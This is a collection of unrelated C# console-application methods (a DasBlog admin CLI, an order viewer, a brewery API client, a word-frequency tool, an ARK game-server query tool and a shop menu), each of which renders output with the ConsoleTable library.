(Staging or Production)"; initCmd.OnExecute(() => { if (!InitializeConfigFiles.IsInitialized(CONFIG_DIRECTORY, ASPNETCORE_ENVIRONMENT)) { InitializeConfigFiles.CopyFiles(CONFIG_DIRECTORY, ASPNETCORE_ENVIRONMENT); Console.WriteLine($"Site settings files have been been initialized for this site! (Environment = {ASPNETCORE_ENVIRONMENT})"); } else { Console.WriteLine("Site settings files have already been been initialized for this site"); } }); }); app.Command("environment", envCmd => { envCmd.Description = "List the main environment settings associated with DasBlog Core"; envCmd.OnExecute(() => { var serviceProvider = service.BuildServiceProvider(); var sc = serviceProvider.GetService <IOptions <SiteConfig> >().Value; var configfs = serviceProvider.GetService <IOptions <ConfigFilePathsDataOption> >().Value; var table = new ConsoleTable("Settings", "Value"); table.AddRow("Site Initialized?", InitializeConfigFiles.IsInitialized(CONFIG_DIRECTORY, ASPNETCORE_ENVIRONMENT)) .AddRow("Environment", ASPNETCORE_ENVIRONMENT) .AddRow("Site file", SITECONFIG_FILENAME) .AddRow("SiteSecurity file", SITESECURITYCONFIG_FILENAME) .AddRow("root", sc.Root) .AddRow("theme", sc.Theme) .AddRow("contentdir", sc.ContentDir) .AddRow("binarydir", sc.BinariesDir) .AddRow("logdir", sc.LogDir); table.Write(); }); }); app.Command("resetpassword", resetCmd => { resetCmd.Description = "**WARNING** Resets all user passowrds to 'admin'"; resetCmd.OnExecute(() => { var serviceProvider = service.BuildServiceProvider(); var userService = serviceProvider.GetService <IUserService>(); var users = userService.GetAllUsers().ToList(); users.ForEach(x => x.Password = ADMINPASSWORD); var fs = serviceProvider.GetService <IConfigFileService <SiteSecurityConfig> >(); if (fs.SaveConfig(new SiteSecurityConfig(userService) { Users = users })) { Console.WriteLine("All passwords reset to 'admin'"); } else { Console.WriteLine($"Reset failed!"); } }); }); app.Command("newtheme", createthemeCmd => { createthemeCmd.Description = "Creates a new theme based on the default 'dasblog' theme"; var val = createthemeCmd.Argument("value", "Name of the new theme").IsRequired(); createthemeCmd.OnExecute(() => { // Execute command var serviceProvider = service.BuildServiceProvider(); var fs = serviceProvider.GetService <IOptions <ConfigFilePathsDataOption> >(); var fileOptions = fs.Value; if (DirectoryCopy(Path.Combine(fileOptions.ThemesFolder, "dasblog"), Path.Combine(fileOptions.ThemesFolder, val.Value), true)) { Console.WriteLine($"New theme created: '{val.Value}' "); } }); }); app.OnExecute(() => { Console.WriteLine("Specify a subcommand"); app.ShowHelp(); return(1); }); return(app.Execute(args)); }
private async Task ShowAllOrdersWithStatus() { var status = SelectOrderStatus(); _printer.Clear(); _printer.WriteLine("CHANNEL ENGINE CONSOLE\n"); try { var result = await _apiService.GetOrdersWithStatus(status); var response = result.ToArray(); if (response.Any()) { var table = new ConsoleTable("ID", "Channel name", "No of products"); foreach (var order in response) { table.AddRow(order.Id, order.ChannelName, order.Lines.Sum(l => l.Quantity)); } _printer.WriteTable(table, Format.Minimal); } else { _printer.WriteLine("No data to display."); _printer.WriteLine(); _printer.WriteLine("Press any key to return..."); Console.ReadKey(); return; } while (true) { _printer.WriteLine("1) Get top 5 products sold"); _printer.WriteLine("0) Return to main menu"); _printer.WriteLine(); var key = Console.ReadKey().Key; switch (key) { case ConsoleKey.D1: await ShowTopFiveProducts(response); break; case ConsoleKey.D0: break; default: Console.WriteLine("\nInvalid option selected. Try again..."); continue; } break; } } catch (ChannelEngineApiClientException apiClientException) { HandleException(apiClientException); } }
protected override void HandleRepo(string relativeDir, RepositoryDefinition repoDef, string dir) { _table.AddRow(relativeDir, repoDef.RepositoryLocation, string.Join(" ", repoDef.Tags)); }
static void Block() { Console.WriteLine("Type IDs you want to block. Seperate by ','." + "If you don't want to block anyone, just type '~' and press enter:\n\n"); // displaying users string conString = "Server=(LocalDb)\\MSSQLLocalDB;Database=Foofle;Trusted_Connection=true"; using SqlConnection con = new SqlConnection(conString); // Set up a command with the given query and associate this with the current connection. using SqlCommand cmd = new SqlCommand("GetUsers", con) { CommandType = CommandType.StoredProcedure }; cmd.Parameters.Add(new SqlParameter("@MSG", SqlDbType.NVarChar, 512)).Direction = ParameterDirection.Output; // Open connection to the database con.Open(); // create data adapter and data table DataTable dataTable = new DataTable(); SqlDataAdapter da = new SqlDataAdapter(cmd); da.Fill(dataTable); // displaying table var table = new ConsoleTable("ID", "Username"); var RowArray = new ArrayList(); foreach (DataRow row in dataTable.Rows) { RowArray.Clear(); foreach (var item in row.ItemArray) { RowArray.Add(item); } table.AddRow(RowArray.ToArray()); } table.Write(); // read output value from @MSG MSG = cmd.Parameters["@MSG"].Value.ToString(); Console.WriteLine(MSG); con.Close(); da.Dispose(); // END of displaying Console.WriteLine("\n\nIDs:"); String IDs = Console.ReadLine(); // Set up a command with the given query and associate this with the current connection. using SqlCommand cmd2 = new SqlCommand("Edit", con) { CommandType = CommandType.StoredProcedure }; cmd2.Parameters.Add(new SqlParameter("@Password", DBNull.Value)); cmd2.Parameters.Add(new SqlParameter("@PrimaryPhone", DBNull.Value)); cmd2.Parameters.Add(new SqlParameter("@FirstName", DBNull.Value)); cmd2.Parameters.Add(new SqlParameter("@LastName", DBNull.Value)); cmd2.Parameters.Add(new SqlParameter("@Phone", DBNull.Value)); cmd2.Parameters.Add(new SqlParameter("@BirthDate", DBNull.Value)); cmd2.Parameters.Add(new SqlParameter("@Nickname", DBNull.Value)); cmd2.Parameters.Add(new SqlParameter("@IDNumber", DBNull.Value)); cmd2.Parameters.Add(new SqlParameter("@Address", DBNull.Value)); if (IDs == "~") { cmd2.Parameters.Add(new SqlParameter("@DoNotShare", DBNull.Value)); } else { cmd2.Parameters.Add(new SqlParameter("@DoNotShare", IDs)); } cmd2.Parameters.Add(new SqlParameter("@MSG", SqlDbType.NVarChar, 512)).Direction = ParameterDirection.Output; // Open connection to the database con.Open(); cmd2.ExecuteNonQuery(); // read output value from @MSG MSG = cmd2.Parameters["@MSG"].Value.ToString(); Console.WriteLine(MSG); con.Close(); }
static async System.Threading.Tasks.Task Main(string[] args) { var client = new HttpClient(); var responseAsStream = await client.GetStreamAsync("https://api.openbrewerydb.org/breweries"); var breweries = await JsonSerializer.DeserializeAsync <List <Brewery> >(responseAsStream); var userHasChosenToQuit = false; while (userHasChosenToQuit == false) { Console.WriteLine(); Console.WriteLine("Welcome to the brewery database. Please select one of the following options: "); Console.WriteLine(); Console.Write("(V)iew a list of breweries with supporting information, (F)ind a brewery by entering in the associated ID number, F(I)nd breweries by entering in a state, or (Q)uit this application "); var choice = Console.ReadLine().ToUpper(); switch (choice) { case "V": var table = new ConsoleTable("ID", "Name", "City", "State", "Country"); foreach (var brewery in breweries) { table.AddRow(brewery.id, brewery.name, brewery.city, brewery.state, brewery.country); } table.Write(); break; case "F": Console.Write("Enter the ID for the brewery you would like to search for: "); try { var id = int.Parse(Console.ReadLine()); var url = $"https://api.openbrewerydb.org/breweries/{id}"; var responseAsStreamForChoiceF = await client.GetStreamAsync(url); var breweryForChoiceF = await JsonSerializer.DeserializeAsync <Brewery>(responseAsStreamForChoiceF); var tableForChoiceF = new ConsoleTable("ID", "Name", "City", "State", "Country"); tableForChoiceF.AddRow(breweryForChoiceF.id, breweryForChoiceF.name, breweryForChoiceF.city, breweryForChoiceF.state, breweryForChoiceF.country); tableForChoiceF.Write(); } catch (HttpRequestException) { Console.WriteLine("That ID could not be found."); } catch (FormatException) { Console.WriteLine("That ID could not be found."); } break; case "I": Console.Write("Enter a state and receive a list of breweries: "); try { var state = Console.ReadLine(); var url = $"https://api.openbrewerydb.org/breweries?by_state={state}"; var responseAsStreamForChoiceI = await client.GetStreamAsync(url); var breweryForChoiceI = await JsonSerializer.DeserializeAsync <List <Brewery> >(responseAsStreamForChoiceI); var tableForChoiceI = new ConsoleTable("ID", "Name", "City", "State", "Country"); foreach (var brewery in breweryForChoiceI) { tableForChoiceI.AddRow(brewery.id, brewery.name, brewery.city, brewery.state, brewery.country); } tableForChoiceI.Write(); } catch (HttpRequestException) { Console.WriteLine("That state could not be found."); } catch (FormatException) { Console.WriteLine("That state could not be found."); } break; case "Q": userHasChosenToQuit = true; break; } } }
public void executeProgram(string path) { //INICIA EL CRONOMETRO Stopwatch watch = Stopwatch.StartNew(); Console.WriteLine("Actividad 6 en proceso... "); //OBTIENE LAS RUTAS DE LOS ARCHIVOS HTML string[] filePaths = Directory.GetFiles(path + "\\results\\act3\\files"); //SE CREA UN ARCHIVO TXT DE SALIDA DE DATOS Directory.CreateDirectory(path + "\\results\\act6"); //TABLA PARA GUARDAR LOS DATOS DE MANERA ORDENADA var dataTable = new ConsoleTable("Palabra", "Frecuencia", "Existencia"); //GUARDA TODAS LAS PALABRAS Y SU FRECUENCIA List <Word> wordsList = new List <Word>(); //ENLISTA LA FRECUENCIA DE LAS PALABRAS POR ARCHIVO Dictionary <string, Word> freqDict; using (var progress = new ProgressBar()) { progress.setTask("Calculando frecuencia de palabras"); int count = 0; foreach (string filepath in filePaths) { freqDict = new Dictionary <string, Word>(); string[] words = File.ReadAllLines(filepath); foreach (string word in words) { if (!freqDict.ContainsKey(word)) { freqDict.Add(word, new Word(word /*, filepath*/)); } freqDict[word].freq++; } foreach (KeyValuePair <string, Word> word in freqDict) { if (word.Value.freq >= 3) { wordsList.Add(word.Value); } } //PROGRESO count++; progress.Report((double)count / filePaths.Length); } //IMPRIME EL ULTIMO LOG DE PROGRESO Console.SetCursorPosition(0, Console.CursorTop - 1); Console.WriteLine("\n[##########] 100% | Calculando frecuencia de palabras"); } //ENLISTA LA EXISTENCIA DE LAS PALABRAS POR ARCHIVO SortedDictionary <string, Word> exDict = new SortedDictionary <string, Word>(); using (var progress = new ProgressBar()) { progress.setTask("Calculando existencia de palabras"); int count = 0; foreach (Word wordObj in wordsList) { if (!exDict.ContainsKey(wordObj.content)) { exDict.Add(wordObj.content, new Word(wordObj.content, wordObj.freq)); } exDict[wordObj.content].freq += wordObj.freq; exDict[wordObj.content].freqFile++; //exDict[wordObj.content].references.Add(wordObj.reference); //PROGRESO count++; progress.Report((double)count / wordsList.Count); } //IMPRIME EL ULTIMO LOG DE PROGRESO Console.SetCursorPosition(0, Console.CursorTop - 1); Console.WriteLine("\n[##########] 100% | Calculando existencia de palabras"); } foreach (KeyValuePair <string, Word> wordObj in exDict) { dataTable.AddRow(wordObj.Value.content, wordObj.Value.freq, wordObj.Value.freqFile); } //TERMINA EL CRONOMETRO watch.Stop(); //ESCRIBE TODAS LAS PALABRAS EN UN ARCHIVO CONSOLIDADO File.WriteAllText(path + "\\results\\act6\\consolidatedFile.html", dataTable.ToMinimalString()); File.WriteAllText(path + "\\results\\act6\\results.txt", "\nTiempo total en ejecutar el programa: " + watch.Elapsed); Console.WriteLine("Actividad 6 completada exitosamente, Noice\n"); }
static void Main(string[] args) { Console.WindowHeight = 60; Console.WindowWidth = 130; #region api bool api = false; string staticinput = ""; string format = ""; string[] cla = Environment.GetCommandLineArgs(); if (cla.Length > 2) { api = true; format = cla[1]; staticinput = String.Join(" ", cla.Skip(2)); if (new[] { "json", "csv" }.Any(c => format.ToLower() == c)) { } else { Console.WriteLine("Unknown format for API. Please use 'json', or 'csv'"); Environment.Exit(-1); } } #endregion #region Load JSON data arkserversjson serverlist = null; if (File.Exists(@"servers.json")) { string json = File.ReadAllText(@"servers.json"); try { serverlist = JsonConvert.DeserializeObject <arkserversjson>(json); } catch (Exception e) { Console.WriteLine("An error occured whilst trying to load the servers.json, it's probably corrupt, delete the file and redownload it.\nError: " + e.Message); if (!api) { Console.ReadLine(); } Environment.Exit(0); } } else { Console.WriteLine("No servers.json file was found. Type 'D' to download an existing one now. Type 'G' to grab a new list of servers, this takes a long time... Alternatively, type anything else and the program will quit."); if (api) { Environment.Exit(-1); } string resp = Console.ReadLine(); if (resp.ToLower() == "d") { try { using (WebClient wc = new WebClient()) { wc.DownloadFile(new Uri("http://lkd70.io/servers.json"), "servers.json"); string json = File.ReadAllText(@"servers.json"); serverlist = JsonConvert.DeserializeObject <arkserversjson>(json); } } catch (Exception e) { Console.WriteLine("An error occured whilst downloading the servers.json file, please send this error message to LKD70:\n" + e.Message); Console.ReadLine(); Environment.Exit(0); } } else if (resp.ToLower() == "g") { grabHandler(api, serverlist); } else { Environment.Exit(0); } } #endregion #region Quick and ugly listener while (true) { string input = ""; while (input == "") { Console.Clear(); if (!api) { Console.WriteLine(string.Concat(Enumerable.Repeat("█", Console.WindowWidth))); } if (!api) { ColorConsole.WriteLine("ooooo oooo oooo ooooooooo o oooooooo8 ooooooo \n".Cyan(), "888 888 o88 888 88o 888 888 o888 888o \n".DarkCyan(), "888 888888 888 888 8 88 888oooooo 888 888 \n".Yellow(), "888 o 888 88o 888 888 8oooo88 888 888o 8o888 \n".DarkYellow(), "o888ooooo88 o888o o888o o888ooo88 o88o o888o o88oooo888 88ooo88 \n".Green(), " 88o8 ".DarkGreen(), String.Format(" Loaded {0} servers", serverlist.rows.Count()).DarkGreen()); } if (!api) { Console.WriteLine("Hello, please enter a command to continue, try 'help' if you're not sure what to do."); } input = (api) ? staticinput : Console.ReadLine(); Console.Clear(); } #region help if (input.ToLower() == "help") { if (api) { Environment.Exit(-1); } Console.WriteLine(string.Concat(Enumerable.Repeat("█", Console.WindowWidth))); ColorConsole.WriteLine("ooooo oooo oooo ooooooooo o oooooooo8 ooooooo \n".Cyan(), "888 888 o88 888 88o 888 888 o888 888o \n".DarkCyan(), "888 888888 888 888 8 88 888oooooo 888 888 \n".Yellow(), "888 o 888 88o 888 888 8oooo88 888 888o 8o888 \n".DarkYellow(), "o888ooooo88 o888o o888o o888ooo88 o88o o888o o88oooo888 88ooo88 \n".Green(), " 88o8 ".DarkGreen(), String.Format(" Loaded {0} servers", serverlist.rows.Count()).DarkGreen()); ColorConsole.WriteLine("Help\n\n".Cyan()); ColorConsole.WriteLine("Available Commands:".Green()); ConsoleTable table = new ConsoleTable("Command Syntax", "Description"); table.AddRow("help", "You're looking at it!"); table.AddRow("query <IP>:<PORT>", "Query the given address. Returns player and server information."); table.AddRow("server <SERVER_ID> [delay 1-999]", "Returns information about the given server ID with optional delay (if it's available)."); table.AddRow("list [map:TheIsland type:pvp]", "Lists the servers available for querying."); table.AddRow("grab", "Grabs a new server list from arkdedicated. This will take some time..."); table.AddRow("exit", "https://youtu.be/j1ykMNtzMT8"); table.Options.EnableCount = false; table.Write(); ColorConsole.WriteLine("Examples of server ID's for different maps:".Green()); table = new ConsoleTable("server name", "example"); table.AddRow("NA-PVP-Official-Aberration100", "n100"); table.AddRow("NA-PVP-Official-Ragnarok300", "k300"); table.AddRow("EU-PVP-Official-TheIsland70", "d70"); table.AddRow("NA-PVP-Official-ScorchedEarth30", "h30"); table.AddRow("NA-PVP-Official-TheCenter300", "r300"); table.Options.EnableCount = false; table.Write(); ColorConsole.WriteLine("Examples of list command syntaxes:".Green()); table = new ConsoleTable("syntax", "expected result"); table.AddRow("list", "lists all servers known to LKD ASQ"); table.AddRow("list map:ragnarok", "Lists all known servers with a Ragnarok map"); table.AddRow("list type:pvp", "Lists all known PVP servers"); table.AddRow("list map:theisland type:pve", "List all PvE Island servers."); table.AddRow("list map:theisland,aberration", "Lists all aberration and island servers"); table.AddRow("list type:pve,pvp map:ragnarok,theisland", "lists all island and ragnarok pve and pvp servers"); table.Options.EnableCount = false; table.Write(); ColorConsole.WriteLine("Example command uses:".Green()); table = new ConsoleTable("Syntax", "Description"); table.AddRow("server d25", "Returns information about server TheIsland25"); table.AddRow("server k73 25", "Returns information about server Ragnarok73 every 25 seconds"); table.AddRow("query 123.456.789.123:27015", "Returns informaiton about the server at the given address."); table.AddRow("exit", "Chicago"); table.Options.EnableCount = false; table.Write(); } #endregion #region favorites else if (Regex.Match(input, @"^(?:favorites|f)(?: json| csv|)$").Success) { string[] parms = input.Split(' '); if (parms.Length == 1) { if (!api) { Console.WriteLine(string.Concat(Enumerable.Repeat("█", Console.WindowWidth))); } if (!api) { ColorConsole.WriteLine("ooooo oooo oooo ooooooooo o oooooooo8 ooooooo \n".Cyan(), "888 888 o88 888 88o 888 888 o888 888o \n".DarkCyan(), "888 888888 888 888 8 88 888oooooo 888 888 \n".Yellow(), "888 o 888 88o 888 888 8oooo88 888 888o 8o888 \n".DarkYellow(), "o888ooooo88 o888o o888o o888ooo88 o88o o888o o88oooo888 88ooo88 \n".Green(), " 88o8 ".DarkGreen(), String.Format(" Loaded {0} servers", serverlist.rows.Count()).DarkGreen()); } if (!api) { ColorConsole.WriteLine("Your favorite servers:\n\n".Cyan()); } foreach (favorite server in serverlist.favorites) { if (server == null) { Console.WriteLine("Sorry, I couldn't find the server: " + server.id); } else { ServerInfo serverinfo = serverlist.getServerInfoById(server.id); if (serverinfo == null) { Console.WriteLine("It'd seem I couldn't connect to the server: " + server.id + ", perhaps it's offline?"); } else { QueryMaster.QueryMasterCollection <PlayerInfo> playerinfoinit = serverlist.getPlayerInfoById(server.id); if (playerinfoinit == null) { Console.WriteLine("Seems I couldn't get the player information for the server " + server.id + ", that's very odd."); } else { List <PlayerInfo> playerlist = new List <PlayerInfo>(); foreach (PlayerInfo player in playerinfoinit) { if (player.Name != "") { playerlist.Add(player); } } ColorConsole.WriteLine(String.Format("Server: {0}\nPlayer count: {1}/{2}\n\nPlayer List:", serverinfo.Name, playerlist.Count, serverinfo.MaxPlayers).Cyan()); ConsoleTable table = new ConsoleTable("Player Name", "Time Online"); foreach (PlayerInfo player in playerlist) { table.AddRow(player.Name, player.Time.ToString(@"hh\:mm")); } table.Options.EnableCount = false; table.Write(); Console.WriteLine("That's all of them!".Cyan()); } } } } } else { if (parms[1].ToLower() == "csv") { foreach (favorite server in serverlist.favorites) { if (server == null) { Console.WriteLine("Unknown server: " + server.id + ", "); } else { ServerInfo serverinfo = serverlist.getServerInfoById(server.id); if (serverinfo == null) { Console.WriteLine("Server not found: " + server.id + " perhaps it's offline?, "); } else { QueryMaster.QueryMasterCollection <PlayerInfo> playerinfoinit = serverlist.getPlayerInfoById(server.id); if (playerinfoinit == null) { Console.WriteLine("no player info: " + server.id + ", "); } else { List <PlayerInfo> playerlist = new List <PlayerInfo>(); foreach (PlayerInfo player in playerinfoinit) { if (player.Name != "") { playerlist.Add(player); } } ColorConsole.WriteLine(String.Format("Server: {0}, Player count: {1}/{2}, ", serverinfo.Name, playerlist.Count, serverinfo.MaxPlayers).Cyan()); foreach (PlayerInfo player in playerlist) { Console.WriteLine(player.Name + ", " + player.Time.ToString(@"hh\:mm") + ", "); } } } } } Console.WriteLine("END"); } else if (parms[1].ToLower() == "json") { string response = "["; foreach (favorite server in serverlist.favorites) { if (server == null) { response = response + "{\"success\":0,\"error\":\"Sorry, I couldn't find the server: " + server.id + "\"}"; if (server != serverlist.favorites.Last()) { response = response + ","; } Console.WriteLine(response); } else { ServerInfo serverinfo = serverlist.getServerInfoById(server.id); if (serverinfo == null) { response = response + "{\"success\":0,\"error\":\"Server not found - Perhaps it's offline? " + server.id + "\"}"; if (server != serverlist.favorites.Last()) { response = response + ","; } Console.WriteLine(response); } else { QueryMaster.QueryMasterCollection <PlayerInfo> playerinfoinit = serverlist.getPlayerInfoById(server.id); if (playerinfoinit == null) { response = response + "{\"success\":0,\"error\":\"Seems I couldn't get the player information for the server: " + server.id + "\"}"; if (server != serverlist.favorites.Last()) { response = response + ","; } Console.WriteLine(response); } else { List <PlayerInfo> playerlist = new List <PlayerInfo>(); foreach (PlayerInfo player in playerinfoinit) { if (player.Name != "") { playerlist.Add(player); } } response = response + "{\"name\":\"" + serverinfo.Name + ", \"count\": " + playerlist.Count() + ", \"max\":" + serverinfo.MaxPlayers + ", \"players\":["; foreach (PlayerInfo player in playerlist) { response = response + "{\"name\":" + player.Name + ", \"time\":\"" + player.Time.ToString(@"hh\:mm") + "\""; if (player != playerlist.Last()) { response = response + ","; } } response = response + "]}"; Console.WriteLine(response); } } } } } else { Console.WriteLine("Unknown format. Please use 'csv' or 'json'. Otherwise, don't provide any format option."); } } } #endregion #region list else if (Regex.Match(input, @"(?:list|servers)(?:(?: [a-zA-Z,]+:[a-zA-Z,]+)+|)").Success) { if (!api) { Console.WriteLine(string.Concat(Enumerable.Repeat("█", Console.WindowWidth))); } if (!api) { ColorConsole.WriteLine("ooooo oooo oooo ooooooooo o oooooooo8 ooooooo \n".Cyan(), "888 888 o88 888 88o 888 888 o888 888o \n".DarkCyan(), "888 888888 888 888 8 88 888oooooo 888 888 \n".Yellow(), "888 o 888 88o 888 888 8oooo88 888 888o 8o888 \n".DarkYellow(), "o888ooooo88 o888o o888o o888ooo88 o88o o888o o88oooo888 88ooo88 \n".Green(), " 88o8 ".DarkGreen(), String.Format(" Loaded {0} servers", serverlist.rows.Count()).DarkGreen()); } if (!api) { ColorConsole.WriteLine("List\n\n".Cyan()); } ConsoleTable table = new ConsoleTable("ID", "Name", "Map", "ip", "port"); //ColorConsole.WriteLine("Here's a complete list of all available and indexed servers. Do note that just becuase it's listed doesn't ensure iot will respond to a query".Green()); string[] inputargs = input.Split(' '); inputargs = inputargs.Skip(1).ToArray(); string map = ""; string type = ""; string[] maps = null; string[] types = null; if (inputargs.Length > 0) { foreach (string inputarg in inputargs) { string[] ia = inputarg.Split(':'); if (ia[0].ToLower() == "map") { map = ia[1]; } if (ia[0].ToLower() == "maps") { map = ia[1]; } if (ia[0].ToLower() == "type") { type = ia[1]; } if (ia[0].ToLower() == "types") { type = ia[1]; } maps = map.Split(','); types = type.Split(','); maps = maps.Select(s => s.ToLower()).ToArray(); types = types.Select(s => s.ToLower()).ToArray(); } } foreach (arkserver server in serverlist.rows) { if (map == "" && type == "") { table.AddRow(server.id, server.prettyname, server.map, server.ip, server.port); } else if (map != "" && type != "") { if (Array.IndexOf(maps, server.map.ToLower()) > -1 && Array.IndexOf(types, server.type.ToLower()) > -1) { table.AddRow(server.id, server.prettyname, server.map, server.ip, server.port); } else if (map.ToLower() == server.map.ToLower() && type.ToLower() == server.type.ToLower()) { table.AddRow(server.id, server.prettyname, server.map, server.ip, server.port); } } else if (map != "") { if (Array.IndexOf(maps, server.map.ToLower()) > -1) { table.AddRow(server.id, server.prettyname, server.map, server.ip, server.port); } else if (map.ToLower() == server.map.ToLower()) { table.AddRow(server.id, server.prettyname, server.map, server.ip, server.port); } } else if (type != "") { if (Array.IndexOf(types, server.type.ToLower()) > -1) { table.AddRow(server.id, server.prettyname, server.map, server.ip, server.port); } else if (server.type.ToLower() == type.ToLower()) { table.AddRow(server.id, server.prettyname, server.map, server.ip, server.port); } } } table.Write(); } #endregion #region grab else if (input.ToLower() == "grab") { grabHandler(api, serverlist); } #endregion #region server else if (Regex.Match(input, @"^server\s(\D\d+)(?:\s([1-9][0-9]{0,2}|1000)|)$").Success) { Match mid = Regex.Match(input, @"^server\s(\D\d+)(?:\s([1-9][0-9]{0,2}|1000)|)$"); string id = mid.Groups[1].Value; int delayint = 0; string delay = mid.Groups[2].Value; if (delay != "") { delayint = Int32.Parse(delay); } bool loop = true; while (loop == true) { Console.Clear(); Console.WriteLine(string.Concat(Enumerable.Repeat("█", Console.WindowWidth))); ColorConsole.WriteLine("ooooo oooo oooo ooooooooo o oooooooo8 ooooooo \n".Cyan(), "888 888 o88 888 88o 888 888 o888 888o \n".DarkCyan(), "888 888888 888 888 8 88 888oooooo 888 888 \n".Yellow(), "888 o 888 88o 888 888 8oooo88 888 888o 8o888 \n".DarkYellow(), "o888ooooo88 o888o o888o o888ooo88 o88o o888o o88oooo888 88ooo88 \n".Green(), " 88o8 ".DarkGreen(), String.Format(" Loaded {0} servers", serverlist.rows.Count()).DarkGreen()); ColorConsole.WriteLine("Server\n\n".Cyan()); if (delay == "") { loop = false; } arkserver server = serverlist.getServerById(id); if (server == null) { Console.WriteLine("Sorry, I couldn't find that server."); } else { ServerInfo serverinfo = serverlist.getServerInfo(server); if (serverinfo == null) { Console.WriteLine("It'd seem I couldn't connect to that server, perhaps it's offline?"); } else { QueryMaster.QueryMasterCollection <PlayerInfo> playerinfoinit = serverlist.getPlayerInfo(server); if (playerinfoinit == null) { Console.WriteLine("Seems I couldn't get the player information, that's very odd."); } else { List <PlayerInfo> playerlist = new List <PlayerInfo>(); foreach (PlayerInfo player in playerinfoinit) { if (player.Name != "") { playerlist.Add(player); } } ColorConsole.WriteLine("Last Updated: " + DateTime.Now.ToString()); ColorConsole.WriteLine(String.Format("Name: {0}\nPlayer count: {1}/{2}\n\nPlayer List:", serverinfo.Name, playerlist.Count, serverinfo.MaxPlayers).Cyan()); ConsoleTable table = new ConsoleTable("Player Name", "Time Online"); foreach (PlayerInfo player in playerlist) { table.AddRow(player.Name, player.Time.ToString(@"hh\:mm")); } table.Options.EnableCount = false; table.Write(); } } } if (delay != "") { System.Threading.Thread.Sleep(delayint * 1000); } } } #endregion #region exit else if (input == "exit") { if (api) { Console.WriteLine("Why tho?"); } Environment.Exit(0); } #endregion #region query else if (Regex.Match(input, @"query (\d+.\d+.\d+.\d+):(\d+)").Success) { Console.WriteLine(string.Concat(Enumerable.Repeat("█", Console.WindowWidth))); ColorConsole.WriteLine("ooooo oooo oooo ooooooooo o oooooooo8 ooooooo \n".Cyan(), "888 888 o88 888 88o 888 888 o888 888o \n".DarkCyan(), "888 888888 888 888 8 88 888oooooo 888 888 \n".Yellow(), "888 o 888 88o 888 888 8oooo88 888 888o 8o888 \n".DarkYellow(), "o888ooooo88 o888o o888o o888ooo88 o88o o888o o88oooo888 88ooo88 \n".Green(), " 88o8 ".DarkGreen(), String.Format(" Loaded {0} servers", serverlist.rows.Count()).DarkGreen()); ColorConsole.WriteLine("Query\n\n".Cyan()); Match mid = Regex.Match(input, @"query (\d+.\d+.\d+.\d+):(\d+)"); string ip = mid.Groups[1].Value; int port = Int32.Parse(mid.Groups[2].Value); Server server = null; using (server = ServerQuery.GetServerInstance(QueryMaster.EngineType.Source, ip, (ushort)port, false, 5000, 5000, 1, false)) { var serverInfo = server.GetInfo(); var playerInfo = server.GetPlayers(); if (serverInfo == null) { ColorConsole.WriteLine("Sorry, I couldn't resolve that server address."); } else { List <PlayerInfo> playerlist = new List <PlayerInfo>(); foreach (PlayerInfo player in playerInfo) { if (player.Name != "") { playerlist.Add(player); } } ColorConsole.WriteLine(String.Format("Server: {0}\nPlayer count: {1}/{2}\n\nPlayer List:", serverInfo.Name, playerlist.Count, serverInfo.MaxPlayers).Cyan()); ConsoleTable table = new ConsoleTable("Player Name", "Time Online"); foreach (PlayerInfo player in playerlist) { table.AddRow(player.Name, player.Time.ToString(@"hh\:mm")); } table.Options.EnableCount = false; table.Write(); } } } #endregion #region failed else { if (!api) { Console.WriteLine(string.Concat(Enumerable.Repeat("█", Console.WindowWidth))); } if (!api) { ColorConsole.WriteLine("ooooo oooo oooo ooooooooo o oooooooo8 ooooooo \n".Cyan(), "888 888 o88 888 88o 888 888 o888 888o \n".DarkCyan(), "888 888888 888 888 8 88 888oooooo 888 888 \n".Yellow(), "888 o 888 88o 888 888 8oooo88 888 888o 8o888 \n".DarkYellow(), "o888ooooo88 o888o o888o o888ooo88 o88o o888o o88oooo888 88ooo88 \n".Green(), " 88o8 ".DarkGreen(), String.Format(" Loaded {0} servers", serverlist.rows.Count()).DarkGreen()); } if (!api) { ColorConsole.WriteLine("Ruh-roh raggy!\n\n".Cyan()); } Console.WriteLine("Not sure what you want, but I'm sure this isn't it. Click enter to return to the menu..."); } #endregion if (!api) { Console.ReadLine(); } if (api) { Environment.Exit(0); } } #endregion }
public void showItemDetail() { while (true) { string row = ("=================================================================="); ItemsBL itBL = new ItemsBL(); Items it = new Items(); List <Items> li = new List <Items>(); Customers custom = new Customers(); CustomersBL cutomBL = new CustomersBL(); string choice; int itID; try { li = itBL.getItemsByItemID(1); Console.Write("Enter item id: "); itID = int.Parse(Console.ReadLine()); } catch (System.Exception) { Console.WriteLine("Item id must be integer and in the options !"); continue; } if (itID > li.Count || validateChoice(itID.ToString()) == false) { Console.Write("You are only entered in the number of existing ids !"); while (true) { Console.Write("Do you want re-enter ? (Y/N): "); choice = Console.ReadLine().ToUpper(); if (choice != "Y" && choice != "N") { Console.Write("You can only enter (Y/N): "); choice = Console.ReadLine().ToUpper(); continue; } break; } switch (choice) { case "Y": continue; case "N": showItems(); break; default: continue; } } try { it = itBL.GetItemByItemID(itID); } catch (System.Exception) { Console.WriteLine("Disconnect from database !"); } if (it == null) { Console.WriteLine("The item does not exist !"); } else { Console.WriteLine(row); Console.WriteLine("DETAIL OF ITEM"); Console.WriteLine(row); var table = new ConsoleTable("ID", "ITEM NAME", "ITEM PRICE", "SIZE"); table.AddRow(it.ItemID, it.ItemName, it.ItemPrice, it.Size); table.Write(); Console.WriteLine("DESCRIPTION : "); Console.WriteLine(it.ItemDescription); } string select; Console.WriteLine("\n" + row + "\n"); Console.WriteLine("1. Add to cart"); Console.WriteLine("2. Back to Menu"); Console.Write("Enter your selection: "); select = Console.ReadLine(); switch (select) { case "1": AddToCart(it); break; case "2": showItems(); break; default: Console.WriteLine("You are only entered in the number existing !"); continue; } string conti; Console.Write("Do you continue ? (Y/N): "); conti = checkYN(); if (conti == "Y") { showItems(); } else { break; } } }
